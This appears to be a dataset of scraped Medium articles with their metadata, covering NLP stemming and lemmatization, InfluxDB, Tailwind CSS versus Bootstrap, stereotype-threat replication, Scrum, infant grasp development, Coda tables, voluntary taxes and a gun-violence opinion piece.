Stemming algorithms are typically rule-based. You can view them as heuristic process that sort-of lops off the ends of words. A word is looked at and run through a series of conditionals that determine how to cut it down.
For example, we may have a suffix rule that, based on a list of known suffixes, cuts them off. In the English language, we have suffixes like “-ed” and “-ing” which may be useful to cut off in order to map the words “cook,” “cooking,” and “cooked” all to the same stem of “cook.”
Overstemming and Understemming
However, because stemming is usually based on heuristics, it is far from perfect. In fact, it commonly suffers from two issues in particular: overstemming and understemming.
Overstemming comes from when too much of a word is cut off. This can result in nonsensical stems, where all the meaning of the word is lost or muddled. Or it can result in words being resolved to the same stems, even though they probably should not be.
Take the four words university, universal, universities, and universe. A stemming algorithm that resolves these four words to the stem “univers” has overstemmed. While it might be nice to have universal and universe stemmed together and university and universities stemmed together, all four do not fit. A better resolution might have the first two resolve to “univers” and the latter two resolve to “universi.” But enforcing rules that make that so might result in more issues arising.
Understemming is the opposite issue. It comes from when we have several words that actually are forms of one another. It would be nice for them to all resolve to the same stem, but unfortunately, they do not.
This can be seen if we have a stemming algorithm that stems the words data and datum to “dat” and “datu.” And you might be thinking, well, just resolve these both to “dat.” However, then what do we do with date? And is there a good general rule? Or are we just enforcing a very specific rule for a very specific example?
Those questions quickly become issues when it comes to stemming. Enforcing new rules and heuristics can quickly get out of hand. Solving one or two over/under stemming issues can result in two more popping up! Making a good stemming algorithm is hard work.
Speaking of which…
Stemming Algorithm Examples
Two stemming algorithms I immediately came in contact with when I first started using stemming were the Porter stemmer and the Snowball stemmer from NLTK. While I won’t go into a lot of details about either, I will highlight a little bit about them so that you can know even more than I did when I first started using them.
Porter stemmer : This stemming algorithm is an older one. It’s from the 1980s and its main concern is removing the common endings to words so that they can be resolved to a common form. It’s not too complex and development on it is frozen. Typically, it’s a nice starting basic stemmer, but it’s not really advised to use it for any production/complex application. Instead, it has its place in research as a nice, basic stemming algorithm that can guarantee reproducibility. It also is a very gentle stemming algorithm when compared to others.
: This stemming algorithm is an older one. It’s from the 1980s and its main concern is removing the common endings to words so that they can be resolved to a common form. It’s not too complex and development on it is frozen. Typically, it’s a nice starting basic stemmer, but it’s not really advised to use it for any production/complex application. Instead, it has its place in research as a nice, basic stemming algorithm that can guarantee reproducibility. It also is a very gentle stemming algorithm when compared to others. Snowball stemmer : This algorithm is also known as the Porter2 stemming algorithm. It is almost universally accepted as better than the Porter stemmer, even being acknowledged as such by the individual who created the Porter stemmer. That being said, it is also more aggressive than the Porter stemmer. A lot of the things added to the Snowball stemmer were because of issues noticed with the Porter stemmer. There is about a 5% difference in the way that Snowball stems versus Porter.
: This algorithm is also known as the Porter2 stemming algorithm. It is almost universally accepted as better than the Porter stemmer, even being acknowledged as such by the individual who created the Porter stemmer. That being said, it is also more aggressive than the Porter stemmer. A lot of the things added to the Snowball stemmer were because of issues noticed with the Porter stemmer. There is about a 5% difference in the way that Snowball stems versus Porter. Lancaster stemmer: Just for fun, the Lancaster stemming algorithm is another algorithm that you can use. This one is the most aggressive stemming algorithm of the bunch. However, if you use the stemmer in NLTK, you can add your own custom rules to this algorithm very easily. It’s a good choice for that. One complaint around this stemming algorithm though is that it sometimes is overly aggressive and can really transform words into strange stems. Just make sure it does what you want it to before you go with this option!
Lemmatization
We’ve talked about stemming, but what about the other side of things? How is lemmatization different? Well, if we think of stemming as just take a best guess of where to snip a word based on how it looks, lemmatization is a more calculated process. It involves resolving words to their dictionary form. In fact, a lemma of a word is its dictionary or canonical form!
Because lemmatization is more nuanced in this respect, it requires a little more to actually make work. For lemmatization to resolve a word to its lemma, it needs to know its part of speech. That requires extra computational linguistics power such as a part of speech tagger. This allows it to do better resolutions (like resolving is and are to “be”).
Another thing to note about lemmatization is that it’s often times harder to create a lemmatizer in a new language than it is a stemming algorithm. Because lemmatizers require a lot more knowledge about the structure of a language, it’s a much more intensive process than just trying to set up a heuristic stemming algorithm.
Luckily, if you’re working in English, you can quickly use lemmatization through NLTK just like you do with stemming. To get the best results, however, you’ll have to feed the part of speech tags to the lemmatizer, otherwise it might not reduce all the words to the lemmas you desire. More than that, it’s based off of the WordNet database (which is kind of like a web of synonyms or a thesaurus) so if there isn’t a good link there, then you won’t get the right lemma anyways.
Wrapping Up
One more thing before I wrap up here: If you choose to use either lemmatization or stemming in your NLP application, always be sure to test performance with that addition. In many applications, you may find that either ends up messing with performance in a bad way just as often as it helps boost performance. Both of these techniques are really designed with recall in mind, but precision tends to suffer as a result. But if recall is what you’re aiming for (like with a search engine) then maybe that’s alright!
Also, this blog post mostly centers around the English language. Other languages, even if they seem somewhat related, have drastically different results with stemming and lemmatization. The general concepts remain the same, but the specific implementations will be drastically different. Hopefully this blog at least helps with the high-level if you’re planning on working with a different language entirely!
If you enjoyed this post and are hungry for more NLP readings, why not check out another blog post I wrote about how word embeddings work and the different types you can encounter. Or, if you like sentences more, why not check out my summary of a paper that analyzed how different sentence embeddings affect downstream and linguistic tasks! | https://towardsdatascience.com/stemming-lemmatization-what-ba782b7c0bd8 | ['Hunter Heidenreich'] | 2018-12-21 17:13:02.004000+00:00 | ['Machine Learning', 'NLP', 'Naturallanguageprocessing', 'Data', 'Data Science'] |
I was thinking about taxes this morning. | I was thinking about taxes this morning. No, not paying my taxes. I was thinking about voluntary taxes.
I’d like to be able to pay additional taxes. That probably caused some snorts of disbelief among readers, but I’m serious about it.
It’s simple enough to do: just don’t take a deduction for something that you could. I’ve done that, but I want to be able to say that I want my donation to go for the Food Stamp Program,or VA hospitals, not buying more tactical missiles or tanks.
I don’t expect my specified allocation to be honored. It would be a vote that Congress could ignore: my money could buy more attack drones. I’d just like it recorded and reported so that we can tell Congress what’s so important to us that we are willing to put up money for it.
That’s it. A simple request, simple to implement. | https://medium.com/@pcunix/i-was-thinking-about-taxes-this-morning-52ec75c086bd | ['Anthony Lawrence'] | 2020-12-09 11:33:45.305000+00:00 | ['Taxes'] |
The Definitive Guide To InfluxDB In 2019 — devconnected | Essentially, it means that for every point that you are able to store, you have a timestamp associated with it.
The great difference between relational databases and time series databases
But.. couldn’t we use a relational database and simply have a column named ‘time’? Oracle for example includes a TIMESTAMP data type that we could use for that purpose.
You could, but that would be inefficient.
a — Why do we need time series databases?
Three words : fast ingestion rate.
Time series databases systems are built around the predicate that they need to ingest data in a fast and efficient way.
Indeed, relational databases do have a fast ingestion rate for most of them, from 20k to 100k rows per second.
However, the ingestion is not constant over time. Relational databases have one key aspect that make them slow when data tend to grow : indexes.
When you add new entries to your relational database, and if your table contains indexes, your database management system will repeatedly re-index your data for it to be accessed in a fast and efficient way.
As a consequence, the performance of your DBMS tend to decrease over time. The load is also increasing over time, resulting in having difficulties to read your data.
Time series database are optimized for a fast ingestion rate. It means that such index systems are optimized to index data that are aggregated over time : as a consequence, the ingestion rate does not decrease over time and stays quite stable, around 50k to 100k lines per second on a single node.
This graph is inspired by :
https://blog.timescale.com/timescaledb-vs-6a696248104e/
b — Specific concepts about time series databases
On top of the fast ingestion rate, time series databases introduce concepts that are very specific to those technologies.
One of them is data retention. In a traditional relational database, data are stored permanently until your decide to drop them yourself.
Given the use-cases of time series databases, you may want not to keep your data for too long : either because it is too expensive to do so, or because you are not that interested in old data.
Systems like InfluxDB can take care of dropping data after a certain time, with a concept called retention policy (explained in details in part two). You can also decide to run continuous queries on live data in order to perform certain operations.
You could find equivalent operations in a relational database, for example ‘jobs’ in SQL that can run on a given schedule.
c — A Whole Different Ecosystem
Time series databases are very different when it comes to the ecosystem that orbits around them. In general, relational databases are surrounded by applications : web applications, softwares that connect to it to retrieve information or add new entries.
Often, a database is associated with one system. Clients connect to a website, that contacts a database in order to retrieve information. TSDB are built for client plurality : you do not have a simple server accessing the database, but a bunch of different sensors (for example) inserting their data at the same time.
As a consequence, tools were designed in order to have efficient ways to produce data or to consume it.
Data consumption
Data consumption is often done via monitoring tools such as Grafana or Chronograf. Those solutions have built-in solutions to visualize data and even make custom alerts with it.
The data consumers for TSDB
Those tools are often used to create live dashboards that may be graphs, bar charts, gauges or live world maps.
Data Production
Data production is done by agents that are responsible for targeting special elements in your infrastructure and extract metrics from them. Such agents are called “ monitoring agents”. You can easily configure them to query your tools on a given time span. Examples are Telegraf (which is an official monitoring agent), CollectD or StatsD
The data producers for TSDB
Now that you have a better understanding of what time series databases are and how they differ from relational databases, it is time to dive into the specific concepts of InfluxDB.
Module 2 — InfluxDB Concepts Explained
In this section, we are going to explain the key concepts behind InfluxDB and the key query associated with it. InfluxDB embeds its own query language and I think that this point deserves a small explanation.
a — InfluxDB Query Language
Before starting, it is important for you to know which version of InfluxDB you are currently using. As of April 2019, InfluxDB comes in two versions : v1.7+ and v2.0.
v2.0 is currently in alpha version and puts the Flux language as a centric element of the platform. v1.7 is equipped with InfluxQL language (and Flux if you activate it).
Right now, I do recommend to keep on using InfluxQL as Flux is not completely established in the platform.
InfluxQL is a query language that is very similar to SQL and that allows any user to query its data and filter it. Here’s an example of an InfluxQL query :
In the following sections, we are going to explore InfluxDB key concepts, provided with the associated IQL (short for InfluxQL) queries.
b — InfluxDB Key Concepts Explained
In this section, we will go through the list of essential terms to know to deal with InfluxDB in 2019.
Database
A database is a fairly simple concept to understand on its own because you are used to use this term with relational databases. In a SQL environment, a database would host a collection of tables, and even schemas and would represent one instance on its own.
In InfluxDB, a database host a collection of measurements. However, a single InfluxDB instance can host multiple databases. This is where it differs from traditional database systems. This logic is detailed in the graph below :
The most common ways to interact with databases are either creating a database or by navigating into a database in order to see collections (you have to be “in a database” in order to query collections, otherwise it won’t work).
Most used Influx database queries
Measurement
As shown in the graph above, a database stores multiple measurements. You could think of a measurement as a SQL table. It stores data, and even meta data, over time. Data that are meant to coexist together should be stored in the same measurement.
Measurement example
Measurement IFQL example
In a SQL world, data are stored in columns, but in InfluxDB we have two other terms : tags & fields.
Tags & Fields
Warning!
This is a very important chapter as it explains the subtle difference between tags & fields.
When I first started with InfluxDB, I had a hard time grasping exactly why are tags & fields different. For me, they represented ‘columns’ where you could store exactly the same data.
When defining a new ‘column’ in InfluxDB, you have the choice to either declare it as a tag or as a value and it makes a very big difference.
In fact, the biggest difference between the two is that tags are indexed and values are not. Tags can be seen as metadata defining our data in the measurement. They are hints giving additional information about data, but not data itself.
Fields, on the other side, is literally data. In our past example, the temperature ‘column’ would be a field.
Back to our cpu_metrics example, let’s say that we wanted to add a column named ‘location’ as its name states, defines where the sensor is.
Should we add it as a tag or a field? | https://medium.com/schkn/the-definitive-guide-to-influxdb-in-2019-devconnected-23f5661002c8 | ['Antoine Solnichkin'] | 2019-04-18 18:01:10.282000+00:00 | ['Programming', 'Database', 'DevOps', 'Software Development', 'Software Engineering'] |
Tailwind CSS vs Bootstrap: Which one of these is going to last in the future? | We’re experiencing a renaissance of amazing web platforms and responsive designs. Responsive user interfaces have mostly been implemented with libraries like Bootstrap, Foundation, Bulma, or good old-fashioned media queries.
We have used these UI kits with ease to implement directives to achieve the exact UI and proper responsiveness we require with less code. But the big question is, have we really been doing it right?
What if there was a way to achieve responsive UI without being bound by the rules of any UI kit? Is there a way to achieve responsiveness and still keep our custom user interface designs? Well, let’s find out.
Tailwind CSS has recently benefited from an upwards trend of popularity and there is an increasing amount of front-end developers who choose to stick with the new CSS Framework as a new alternative. In this article, I want to explore the differences between Tailwind and Bootstrap and give you as much insight as possible on this topic.
Bootstrap
The initial release of Bootstrap happened on August 19, 2011, nearly 9 years ago. Fun fact is that it was created during a hackathon by the Twitter development team and later it was developed and maintained by Mark Otto, Jacob Thornton, and a small group of core developers.
Shortly it became one of the most popular CSS Frameworks out there and it currently is the sixth-most-starred project on GitHub and it is currently being used by millions of developers worldwide.
Tailwind CSS
According to the project’s Github contributor list, the project was originally developed by Adam Wathan and the first release dates back to October 22, 2019. It is described as a utility-first CSS framework and they claim that development is faster with this new method.
Having introduced some basic facts about the two frameworks I would like to layout the comparison benchmarks that we will delve into in this article. We will talk about the development process, the number of components, performance, and community.
What does “utility-first” even mean?
A utility-first library simply means that unlike Bootstrap, Tailwind doesn’t give us automatically prestyled components. Rather, it gives us utility classes that help us style our component in certain ways and allows us to build our own classes using these utility classes. Let’s explain this further using two simple examples.
Example : Simple button demo
From above the example, we can see how easy is it to implement button component with Tailwind CSS
The base set of components
In this case, I must say that Bootstrap has a clear advantage because of its wide set of components including cards, modals, accordions, nav tabs, and so on. Tailwind CSS has only a handful of components according to their documentation, the full list being:
Alerts
Buttons
Cards
Forms
Flexbox grids
Navigation
This compared to Bootstrap’s 21 sets of components. However, Tailwind CSS does have a lot more utility classes than Bootstrap does, and using them you can create any type of component you want.
Is there a performance advantage to using Tailwind CSS?
The default Tailwind configuration comes with 36.4kb minified and g-zipped. Compare this to Bootstrap at 22.1kb — Tailwind is 14.3kb heavier. You might be thinking, Is this really the way to go in terms of performance?
The reason for this is simple: Tailwind comes prepacked with a lot of options and styles for users to choose from, and it packs all these variations to reduce the tendency to write your own CSS. Fortunately, Tailwind comes with a few strategies you can use to keep your generated CSS small and performant.
Limit your color palette
Due to the fact that all the built-in utility modules in Tailwind use the plugin system under the hood, it is possible to delete a ton of code and make the plugin system the way new classes are registered inside Tailwind.
This makes it possible to have only code we actually need in projects while ignoring everything else — unlike Bootstrap, in which there is a lot of overhead code. This upgrade feature shortens the build time from 158s to 8s.
We can get the exact amount of color variations we need in a project, like so:
// ... module.exports = {
// ... textColors: {
'black': colors['black'],
'grey-darker': colors['grey-darker'],
'grey-dark': colors['grey-dark'],
'red-dark': colors['red-dark'],
'red': colors['red'],
'blue-dark': colors['blue-dark'],
'blue': colors['blue'],
// ...
}
}
Remove unused CSS with PurgeCSS
Tailwind also removes unused CSS with PurgeCSS, a tool for removing unused CSS from your project. It does this by simply comparing the CSS class names available in your template against the class names used and then removing the unused CSS.
Community
Bootstrap has now been around for more than 9 years and being the most popular CSS Framework, it has a large community of developers, forums, tools, and so on. You can find countless Stackoverflow threads answering just about any question you might have about certain situations.
In the case of Tailwind CSS, there is still much room to grow in terms of its community, however, it is growing day by day and the number of tools and websites related to it are also increasing.
Is this really the future?
Working with Tailwind CSS is using a set of utility classes that lets you work with exactly what you need. In my opinion, this is a neat way to create user interfaces that are more flexible to developers’ creativity.
Another advantage I really appreciate — and I am sure every front-end developer would also appreciate — is never having to worry about changes to one element affecting another related element. No more tabbing back and forth between HTML and style sheets in your editor, no more going back to check and see what you named that other element. In my opinion, this is the future.
Check out the official documentation and get started with this awesomeness. Happy coding! | https://medium.com/bitontree/tailwind-css-vs-bootstrap-whose-one-has-a-future-dc142036efea | ['Viral Prajapati'] | 2020-12-25 06:23:33.380000+00:00 | ['Bootstrap', 'UI Design', 'Web Design', 'Tailwind Css', 'CSS'] |
Massive collaboration | Massive collaboration
Inside the Psychological Science Accelerator.
Published in The Psychologist magazine, October 2020
At school, Neil Lewis Jr was always the ‘smart Black kid’. Aged nine, he and his family emigrated to Florida from his birthplace in Jamaica and he soon learned that his new classmates had low expectations of Black students. ‘They had a stereotype that Black people are not smart’, he explains, ‘so it surprised them that I did so well’. That sense of being judged in the light of racial stereotypes, he adds, has never really gone away. Through high school, university, and even now, as an Assistant Professor at Cornell University, he admits to a constant, nagging concern that any slip-ups on his part would only confirm other people’s preconceptions. ‘For me it’s still a regular experience being an academic where I’m often the only Black person in the room.’
As an undergraduate studying social psychology, Lewis learned about a study that resonated with his own experiences of racial stereotypes. The researchers, Claude Steel and Joshua Aronson, gave students at Stanford University a brief test. Some were told that it was measuring their academic aptitude. Others that it was a puzzle to be solved. For White students, these instructions made no difference to their performance. But amongst Black students, being told that their academic ability was being assessed led to poorer performance. In a further experiment, Black students performed worse if, prior to the test, they had been exposed to negative stereotypes about Black people. Again, White students were unaffected.
Steel and Aronson named this phenomenon ‘stereotype threat’. They argued that the distraction and anxiety caused by stereotypes can lead to poorer cognitive performance, becoming, in effect, a self-fulfilling prophecy. ‘I found it fascinating that scientists had actually studied this’, Lewis says. ‘It was one of the theories that really got me interested in becoming a social scientist in the first place.’
Since it was published in 1995, Steel and Aronson’s original study has been cited by over 9500 other research papers. It has also had real world impacts, prompting colleges and universities to adopt programs aimed at minimising stereotype threat and improving educational outcomes. In 2013, the concept of stereotype threat reached the US Supreme Court when the University of Texas at Austin was forced to defend its racial diversity policy for student admissions. It’s also been applied to other stereotypes — that girls aren’t cut out for maths, for example, or that elderly people necessarily have poor memory.
Lately, however, the evidence for stereotype threat has started to come undone. Attempts to replicate key findings have failed. Meta-analyses that pool the results of many individual studies suggest that the effects are smaller or more variable than originally thought — if they exist at all. Like others in the field, Lewis has begun to have doubts. ‘The phenomenon of being concerned that you might be judged in the light of these negative stereotypes, I think that’s real’, he says. What remains unclear is the extent to which those experiences actually affect performance. ‘Right now’, he admits, ‘I don’t know that we have a good sense of that’.
To try and answer this question, Lewis has turned to the Psychological Science Accelerator, a worldwide network of researchers prepared to take part in large-scale collaborative psychology studies. | https://medium.com/dr-jon-brock/massive-collaboration-a5ca2753b9de | ['Jon Brock'] | 2020-10-01 02:25:01.029000+00:00 | ['Open Science', 'Psychology', 'Collaboration'] |
Scrum – are you Serious? | You do Scrum, but…
Scrum – are you Serious?
A series to address the malpractices of Scrum
We, Sjoerd Nijland and Willem-Jan Ageling, recently started Serious Scrum here on Medium. Our aim is to tackle serious issues with Scrum, like anti-patterns, myths, misconceptions, outdated notions and ignorant management. We wish to show the potential of Scrum.
Most of our articles are part of a series. We are running two series up to now:
A Kick in the ScrumBut
Helping teams who don’t take full advantage of the Scrum Guide.
Helping teams who don’t take full advantage of the Scrum Guide. Road to PSM III
Deep-diving into the wonderful world of Scrum.
We are now starting a third one:
Are you serious?
The purpose of the series is to address misinterpretations of Scrum. It is aiming to help people that mean well with Scrum, but struggle to get the hang of it.
There are many items that we aim to address under this title. We have already created two stories:
More will follow. We have a lot of inspiration to make this a great series. | https://medium.com/serious-scrum/scrum-are-you-serious-430e6416c961 | ['Willem-Jan Ageling'] | 2019-10-01 07:04:53.644000+00:00 | ['Agile', 'Serious Scrum', 'Areyouserious', 'Scrum'] |
Have you been overlooking your child's grasp? Here, have a second look. | The first, wobbly footsteps. The first word, uttered alongside babbles. The first scribble, of letters. These are some of the most precious and anticipated moments for any parent. They are major milestones; important events in the development of your child. However, today we are going to dive a little deeper and focus on the journey of your child’s grasping adventures.
Have you seen how a climber plant can reach a beautiful height and grow elegantly, just with a little support provided? On similar grounds, we will also go through how you can play a supportive role and help your child achieve each stage at his/her own pace.
Let's start from the most primitive grasp, one that every one of us is well acquainted with and makes us all go mushy on the inside! When a baby immediately wraps all fingers around your finger or an object placed in his/her palm. It's called as the Palmer reflex. This automatic response ( i.e. reflex) goes away naturally around 4 months of age.
Typically, around 4 to 6 months this reflex progresses into a voluntary (conscious) grasp. While trying to pick up objects, your child will soon start using his/her "little finger" side of the hand and then gradually start use the central portion of his/her palm. At this particular stage (Palmer grasp), the thumb is not used yet. This is because the muscle development in your child’s hand is taking place steadily, from larger muscle to smaller, finer ones.
Be careful of the size of objects/toys, you keep around your child, at each stage, for both safety and developmental appropriateness.
Typically, by 6 to 7 months, your child should begin to use his/her thumb while picking up objects. Initially, there will be no open space between the object your child is grasping and his/her palm (called as radial Palmer grasp). However, around 8 to 9 months, this grasp becomes more precise and definite finger movements are required and utilized (now called as radial digital grasp). Instead of making use of the entire palm your child will now use his/her fingertips to pick up objects. This is a very important development for transition onto the next grasp.
When your child starts to voluntarily use his/her thumb, encourage it! You could do this by gently, placing the thumb of your child on the opposite side of the object in their grasp. Strengthening the thumb is vital for upcoming activities they'll be taught (E.g. coloring, dressing up etc).
You could make a block tower/ complete a puzzle (as they wont be able to make one by themselves, at this age) and ask them to remove some blocks/pieces from it. You could start by demonstrating it before asking them to do the same.
By 9 months, your child will be able to pick up objects of small sizes using only the side of the side of the index finger and thumb, while supporting his/her arm on the table/surface (called immature Pincer grasp). However, this grasp matures by 12 months, and you'll notice your child picking up small object with the tips of the thumb and index finger, while holding the forearm off the surface (now called mature Pincer grasp).
Now, instead of just being able to pick up objects from flat surfaces, your child will be able to, put their hands in a container and make use of their fingertips to pick objects up.
To encourage and strengthen this grasp, you could make your child practice picking up small objects from one container and dropping them into another container (for E.g. breakfast loops). This must be done under supervision, however, to avoid choking hazard.
When your child is around 12 months/1 year of age, he will be able to extend his index finger to point at objects. This is called as index finger isolation. This is also an important developmental skill for daily activities, later on in life (E.g expressing something they want, pointing at a picture book,etc).
Each stage is very essential for the optimal development of your child. The age group marked for each stage must be used as reference purpose only, as each child develops at their own pace, so a little bit back and forth between timelines shouldn't be worrisome. What you can do, however, is provide a more stimulating environment that caters to their development stage.
Reference for this information was taken from www.childsplaytherapycenter.com | https://medium.com/@UmmAhlaam/have-you-been-overlooking-your-childs-grasp-here-have-a-second-look-6ac326942133 | ['Umm Ahlaam'] | 2020-08-19 08:57:38.047000+00:00 | ['Parenting', 'Child Development', 'Baby', 'Fine Motor Skills', 'Milestones'] |
Tables, not spreadsheets | From the very first napkin sketches of Coda (and yes, there were actual napkin sketches passed around at coffee shops, bars, or whatever office we happened to be squatting in), two things were abundantly clear: (1) we were obsessed with the idea of building a doc as powerful as an app and (2) at the center of that design had to be a table.
And when I say “table”, I don’t mean a collection of adjacent cells in a Google Sheet or Excel file, nor the “tables” you might find in Microsoft Word or Google Docs that allow you to align columns of text vertically or horizontally. We knew that real applications needed real tables ー tables where rows and columns are distinctly different. We needed the relational database table ー one that has the ability to reliably join against other tables at scale through primary keys, foreign keys, and indices.
Benedict Evans wrote a piece last summer about Machine Learning that articulated some of the relevant history around relational databases well:
Why relational databases? They were a new fundamental enabling layer that changed what computing could do. Before relational databases appeared in the late 1970s, if you wanted your database to show you, say, 'all customers who bought this product and live in this city', that would generally need a custom engineering project. Databases were not built with structure such that any arbitrary cross-referenced query was an easy, routine thing to do. If you wanted to ask a question, someone would have to build it. Databases were record-keeping systems; relational databases turned them into business intelligence systems. This changed what databases could be used for in important ways, and so created new use cases and new billion dollar companies. Relational databases gave us Oracle, but they also gave us SAP, and SAP and its peers gave us global just-in-time supply chains - they gave us Apple and Starbucks. By the 1990s, pretty much all enterprise software was a relational database - PeopleSoft and CRM and SuccessFactors and dozens more all ran on relational databases. No-one looked at SuccessFactors or Salesforce and said "that will never work because Oracle has all the databases" - rather, this technology became an enabling layer that was part of everything.
As Benedict identified, relational databases became the center of nearly all applications. So if we were going to build docs that could grow into apps, a solid foundation of relational data was a must. The primary question then was how were we going to do that. Did we have to abandon the spreadsheet model entirely, or could we keep aspects of it while introducing table-like concepts? Even subtle differences in these options would end up having pretty big implications on the formula language, on our ability to create a compelling mobile experience, and on the familiarity of the surface itself and the backwards compatibility with other tools.
A primer on spreadsheets
To really put the choice in context, you have to understand how spreadsheets actually work. At Coda, we’ve always been humbled by the power and flexibility of a spreadsheet ー regularly making the case that spreadsheet formulas are the most popular programming language in the world. However, most spreadsheet users don’t realize that there’s an alternate to the common A1:B14 style of referencing ー known as R1C1. You can read a bit more about the details of it on excel champs, but R1C1 is kind of like the metric system for spreadsheet formulas. By using R1C1 notation, it becomes easier to see how spreadsheets actually work ー based on the relative position of a cell, not just its absolute position (e.g. in B2). Said differently, when you write a spreadsheet formula of =B2 in cell C3, the underlying formula is actually an offset: =R[-1]C[-1] → “give me the value one row and one column before me”. This is why when you copy and paste the C3 cell to D3, the formula remaps to =C2 ー you’re actually pasting the same underlying value of the formula (offset by one column and one row), it just has a different display name.
Some simple spreadsheet formulas using R1C1 notation
To build docs as powerful as apps, we knew we’d need a powerful, yet flexible formula language to work over your data — like in a spreadsheet. But could we do that if we deviated too far from the spreadsheet grid? Ultimately, the options boiled down to two primary questions related to how we’d make that formula language work:
Where do formulas live? Do formulas live in cells like they do in a spreadsheet, or are they defined at the column or row level? Would we support formulas on the canvas? What is the reference model? Do formulas use an object name (e.g. the name of a table or column) or refer to a location (e.g. the position of a cell ー is it geometric)? Is there a workable hybrid where you point to a location, but pretty print with the names of the object in that spot (a la Apple’s Numbers)?
The original sketch of the options for formulas in tables vs spreadsheets
In working through the options, one of the biggest problems that comes up with geometric references is that you end up with some mucky looking formulas. Paraphrasing Rob Collie, an Excel muse we talked with after starting Coda, imagine you told a software developer that they weren’t allowed to name their variables ー they had to use system-generated variable names (e.g. A4). That would seem crazy. But in spreadsheets, we oddly accept it. So if you were trying to calculate the total cost for a list of inventory, rather than write something legible like = Price * Quantity, we’re okay with = B2 * C2.
There have been a few attempts to circumvent that awkwardness (e.g. named ranges, or the behavior found in Apple’s Numbers), but because the underlying substrate of a spreadsheet is a geometric grid, most users still rely on their system-generated variables like B2 or A14.
But by leaning into tables, rather than the spreadsheet grid, we’re able to unlock the real magic of relational tables that is not possible in geometric-based systems.
Layouts and Views
One of the primary benefits of a relational database powering your app is writable views ー the ability to see the same data in difference places, across multiple layouts, and still be able to edit the values. With tables, Coda brings that ability into your doc surface ー like having a table of names and dates and being able to edit the date in a table, or by dragging and dropping in a calendar view and having all the values stay up to date.
A simple table with a chart view and a calendar view
Humane Formulas
Another example is what we’re able to do with formulas now that we’re not bound to a grid. We can put formulas anywhere ー in the table, in the writing surface itself, in configuration panels ー all using the same namespace. That means from anywhere, you can refer back to your tables and data in more legible ways. In Coda, the formula is easy to read aloud from left to right ー ‘Take the tasks table, and count if the done column is equal to true: =Tasks.CountIf(Done = True). In spreadsheets, there are multiple levels of indirection ー you have to read from inside out and know that A:A represents a data set with some meaning. =CountIf(A:A, ‘TRUE’)
A canvas formula that counts the number of open tasks in the table
Further, it also means our formula builder auto-complete can be much smarter since we know the type of data being used and which formulas can go with that data.
Column types enable our formula autocomplete to make type specific recommendations
Relationships and the Performance of a Database
Finally, one of the most visceral benefits of tables over spreadsheets goes back to the point made by Benedict Evans in the article I referenced earlier ー it unlocks the abilities of relational database tables in your document. Gone are the days of VLOOKUP(…) or INDEX(MATCH(…)) and the embarrassment that ensues when you realize you didn’t specify an exact match in your formula.
In Coda, a lookup column defines a relationship with another table ー and then you’re able to simply project the fields of the underlying row (rather than count the number of columns to the right of your VLOOKUP range).
VLOOKUP in a spreadsheet
Say you want to pull in the person responsible for a given team into a task list. In a spreadsheet, you’d have two “tables” at arbitrary locations, and would need to create the connection between the two with a VLOOKUP. If you add a new task, be sure to copy the formula down. If someone reorders the columns, you’re toast. | https://blog.coda.io/tables-not-spreadsheets-c3b727ae79ae | ['Matt Hudson'] | 2019-08-02 18:04:38.264000+00:00 | ['Productivity', 'Product Management', 'Coda', 'Excel', 'Tech'] |
Guns are Detrimental to the Public’s Safety | Devin Hughes
[email protected]
As the Covid-19 pandemic surges throughout the US, state and federal governments are taking historic measures to ensure public safety. From social distancing to locking down public areas to shutting down hundreds of businesses, American life and culture have been fundamentally altered with one exception: access to guns.
The March 28 guidance issued by the Cybersecurity & Infrastructure Security Agency (CISA) that declared gun stores and manufacturers “essential infrastructure” has allowed for a second pandemic of gun violence to fester. As cities see a decrease in most crime while people stay home, tragically, violent gun crimes and gun homicide rates remain steady, and in some cases have even increased. The research clearly shows that guns are far more likely to be used to kill the gun owner or family members in a homicide, suicide, or unintentional shooting.
The CISA designation as “essential” came after weeks of intensive lobbying by the gun industry. The fatal decision and the unwillingness to close gun stores comes at a time when gun sales are sky-rocketing nationwide. The FBI’s National Instant Check System (NICS) for March 2020 was 12% higher than the previous monthly record. In Oregon, the monthly firearms background checks doubled from the monthly average to more than 50,000 in March alone. Gun stores across the country report long lines, and ghost gun sales have exploded.
Pro-gun commentators such as John Lott cheer the “essential” label and the surge of gun sales, arguing that firearms are necessary to keep people safe. The argument originates from heavily flawed research from the 1990s, which estimated 2.5 million defensive gun uses annually. That talking point is a thoroughly repudiated myth with a mountain of academic evidence pointing to the opposite conclusion.
Firearms are not used in millions of instances of defense gun use every year. In fact, there are only about 2,000 verified cases annually, which are a fraction of the 39,000 firearm deaths, tens of thousands of injuries, hundreds of thousands of abusive uses, and more than 200,000 firearm thefts annually.
The reality is that having a firearm in the home doubles the risk of homicide and triples the risk of suicide for all the inhabitants. During the nation-wide lockdown, this increased risk is hitting four areas of gun violence especially hard: unintentional shootings, domestic violence, suicide, and gun thefts.
Firearms in the home, especially when improperly stored, combined with a household of curious children, is a recipe for tragedy. US children under the age of 15 are already 9 times more likely to die in an unintentional shooting than their peers in the developed world, and states with higher rates of gun ownership experience a higher rate of unintentional child shootings.
During this pandemic, many domestic violence victims are trapped with their abusers. Domestic violence is 5 times more lethal with a firearm in the home. A 2004 study comparing women killed by an intimate partner to those who were abused but survived found that half the female homicide victims lived in a home with a firearm while only 16% of women who were abused but survived lived with a firearm. With the additional stresses created by the lockdown, these figures could become significantly worse.
As mentioned previously, a firearm in the home triples the risk of suicide. This statistic is backed by dozens of studies that find that firearm ownership is strongly associated with an increase in suicides. The act of attempting suicide is frequently impulsive, and the increased lethality of a firearm over other methods does not provide a second chance. Adding firearms to the mix of economic struggle, fear, and loneliness creates a lethal cocktail.
Finally, one of the most long-lasting impacts of the spike in gun sales will be an increase in gun thefts. A 2002 study found that increased levels of gun ownership were associated with higher rates of burglary, implying that guns were an attractive target for criminals rather than a deterrent. These firearm thefts in turn fuel the vast unregulated market of private sales that allow easy access to firearms for criminals.
By declaring gun stores essential, states and the US Government are perpetuating the myth that firearms make us safer, and that guns are frequently and effectively used in self-defense, marginalizing the overwhelming academic evidence that firearms in the home makes us less safe. Combined with the surge in gun sales and the fear-based marketing campaign by the gun lobby, states failing to protect their residents from a surge of gun ownership will add fuel to America’s gun violence epidemic — one that will continue long after the Coronavirus pandemic abates. | https://medium.com/@gvpedia/guns-are-detrimental-to-the-publics-safety-eb3a99ab3867 | [] | 2020-04-30 20:18:34.826000+00:00 | ['Research', 'Gun Violence', 'Gun Control'] |
